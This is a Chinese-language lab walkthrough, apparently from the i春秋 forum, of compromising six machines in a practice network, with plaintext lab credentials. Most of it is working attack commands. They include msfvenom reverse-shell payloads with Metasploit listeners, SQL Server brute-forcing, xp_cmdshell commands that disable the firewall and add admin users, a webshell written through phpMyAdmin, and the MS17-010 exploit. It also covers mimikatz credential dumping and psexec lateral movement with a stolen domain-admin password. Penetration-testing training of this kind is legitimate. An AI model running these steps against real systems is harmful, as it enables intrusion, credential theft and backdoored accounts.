仅作为实验参考,不属于任何技术文章
本文已首发于i春秋
实验目的:拿下一号机shell开3389远程登录
拓扑图
A组
1号
账号:Administrator
密码:Jack@!@#
ip:192.168.141.111
2号
账号:ADMIN-PC/ADMIN
密码:123456hhhh.
222.18.158.244:7771
ip:192.168.141.138
3号
域名:hiro.com
管理员
账号:hiro\administrator
密码:hb123456,./$
域用户
账号:hiro.com/user1
密码:hb123456,./$
ip:192.168.141.100
Tips
里面设了静态ip 要改一下
已将加入过程总结
4号
账号:administrator
密码:Win@2003
ip:192.168.141.114
5号
账号:Administrator
密码:Win@2008
ip:192.168.141.115
6号
账号:Administrator
密码:Edvison233!
ip:192.168.141.116
B组(攻击组)
使用kali拿下二号机
通过MobaXterm连接Kali Linux(ip:192.168.141.143),用户名:root,密码:toor
使用下述命令,执行,生成木马文件:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.141.143 LPORT=4444 -f exe > ./test.exe
生成了test.exe之后,然后在kali里,设定端口监听,等待目标上线
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp;show options; set LHOST 192.168.141.143;set LPORT 4444; run"
在2号机上右击,以管理员权限执行。kali就可以接收到反弹回来的shell。对shell进行操作。
在kali里接收到了shell,可在meterpreter中管理shell,开启3389
在kali里接收到了shell,可在meterpreter中管理shell,开启3389
run post/windows/manage/enable_rdp
添加用户
run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."
然后在服务器主机中,用新添加的账号,远程桌面连接2号机,至此完成了对2号机的控制
2号机到6号机
使用nmap扫描发现192.168.141.116开了1433端口
nmap -p1433 --open 192.168.141.0/24
使用ms-sql-brute模块对6号机sa账户进行爆破,获得用户名为sa,密码为123456
nmap -p 1433 --script ms-sql-brute --script-args userdb=C:\Users\Waldo1111test\Desktop\name.txt,passdb=C:\Users\Waldo1111test\Desktop\password.txt 192.168.141.116
使用sqltools获取6号机数据库
用xp_cmdshell关闭防火墙限制
netsh firewall set opmode mode=disable
添加3389入站规则
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
创建管理员用户Waldo6TEST
net user Waldo6TEST 1234567hhhh. /add
net localgroup administrators Waldo6TEST /add
使用用户名Wado6TEST 密码1234567hhhh.成功登陆六号机
6号机到5号机
发现5号机开放80端口
输入://192.168.141.115/phpmyadmin/,弱口令 用户名root 密码root
尝试写入webshell
use mysql;
CREATE TABLE `mysql`.`d0g3` (`sn00py` TEXT NOT NULL );
INSERT INTO `mysql`.`d0g3` (`sn00py`)VALUES ('');
SELECT sn00py FROM d0g3 INTO OUTFILE 'C:/pentest/phpstudy/WWW/shell.php';
Shell写到了:http://192.168.141.115/shell.php
使用菜刀连接
执行命令whoami,发现是administrator权限
加管理员用户
net user Waldo 1234567hhhh. /add
net localgroup administrators Waldo /add
打开5号机3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
连接到远程桌面
5号机到4号机
在5号机上传ms17010攻击脚本,用kali攻击机生成一个payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.141.143 lport=6666 -f exe -o shell.exe
开启msf监听
msfconsole -q
use exploit/multi/handler
set lhost 0.0.0.0
set lport 6666
exploit
在5号机中cmd中C:\Users\Waldo\MS17-010-master
在5号机上,运行ms170101攻击脚本(脚本要自己下载)
python zzz_exploit.py 192.168.141.114
在kali里接收到了shell,可在meterpreter中管理shell,开启3389
run post/windows/manage/enable_rdp
添加用户
run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."
在5号机远程登录4号机
4号机到3号机
在4号机中抓取hash
privilege::debug
sekurlsa::logonpasswords
抓到域控管理员账号和密码:
在4号机上,使用以下命令建立IPC$连接
net use \\192.168.141.100 "hb123456,./$" /user:"Administrator"
在4号机上,使用以下命令,将目标靶机的C盘映射到本地Z盘
net use z: \\192.168.141.100\c$
使用copy命令将先前生成的shell.exe拷贝至靶机C盘
copy shell.exe \\192.168.141.100\c$
在kali上开启监听(6666端口),使用psesec.exe.启动靶机上的shell.exe
psexec.exe \\192.168.141.100 -u administrator -p hb123456,./$ c:\\shell.exe
成功反弹shell上线:
在kali里接收到了shell,可在meterpreter中管理shell,开启3389
run post/windows/manage/enable_rdp
添加用户
run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."
在4号机远程登录3号机
用户名:hiro\Administrator 密码:hb123456,./$
3号机到1号机
在3号机上,使用以下命令建立IPC$连接
net use \\192.168.141.111 "hb123456,./$" /user:"Administrator"
在3号机上,使用以下命令,将目标靶机的C盘映射到本地Z盘
net use z: \\192.168.141.111\c$
使用copy命令将先前生成的shell.exe拷贝至靶机C盘
copy shell.exe \\192.168.141.111\c$
在kali上开启监听(6666端口),使用psexec.exe.启动靶机上的shell.exe
psexec.exe \\192.168.141.111 -u hiro\Administrator -p hb123456,./$ c:\\shell.exe
成功获取shell
打开一号机3389
使用用户名:hiro\Administrator 密码: hb123456,./$登录
成功拿下一号机!